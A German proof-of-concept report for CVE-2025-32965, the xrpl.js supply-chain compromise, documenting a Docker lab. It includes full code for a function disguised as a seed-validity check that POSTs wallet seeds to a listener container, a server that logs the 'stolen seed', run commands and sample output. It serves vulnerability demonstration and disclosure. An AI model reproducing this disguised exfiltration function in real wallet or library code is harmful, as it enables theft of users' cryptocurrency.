CVE-2025-32965 — xrpl.js Supply Chain Attack PoC-Bericht

Schwachstellenbeschreibung

CVE Kodu: CVE-2025-32965
Schwachstellentyp: Supply Chain Attack (CWE-506: Embedded Malicious Code)
Ziel: Versionen 4.2.1–4.2.4 und 2.14.2 der xrpl.js-Bibliothek
Auswirkung: Die Seed-/Secret-Daten der Wallet des Benutzers werden an den Angreifer gesendet

Ziel

Dieses PoC zielt darauf ab, zu demonstrieren, wie eine bösartige xrpl.js-Version in einer isolierten Umgebung eine Seed-Exfiltration durchführen kann.

Umgebungsstruktur

Platform: Docker (WSL-basiertes Ubuntu)
Netzwerk: benutzerdefiniertes Docker-Netzwerk namens xrplnet
Container:
- poc-listener: Angreiferserver, der Seed-Daten sammelt
- xrpl-poc: PoC-Container, der die Testskripte der Opferseite hostet

Verwendete Dateien

package.json:

{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

Dockerfile:

FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]

fake_xrpl.js:

async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed gesendet:", seed);
}

module.exports = { checkValidityOfSeed };

test.js:

const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Erstellte Wallet:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

server.js:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Gestohlener SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log("  Listener aktiv: http://poc-listener:3000/xcm")
})

Schritte

Docker-Build:

docker build -t xrpl-poc .
docker network create xrplnet

Listener starten:

docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js

Opfer sendet Seed:

docker run -it --rm --network xrplnet xrpl-poc node test.js

Beispielausgabe

Terminal des Opfers:

  Erstellte Wallet:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
  Seed gesendet: sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Terminal des Angreifers:

  Listener aktiv: http://poc-listener:3000/xcm
  Gestohlener SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Fazit

Dieses PoC hat gezeigt, wie die Schwachstelle CVE-2025-32965 in der Praxis ausgenutzt werden kann. Der Seed-Exfiltrationscode der bösartigen xrpl.js-Bibliothek wurde erfolgreich in einer isolierten Testumgebung ausgeführt und Daten an den Angreiferserver weitergeleitet.

GitHub-Repo-Struktur (Vorschlag)

xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md

Erstellt von: Yusuf Dalbudak
Testumgebung: WSL2 + Docker + Node.js v20

CVE-2025-32965-xrpl-js-poc

Beliebteste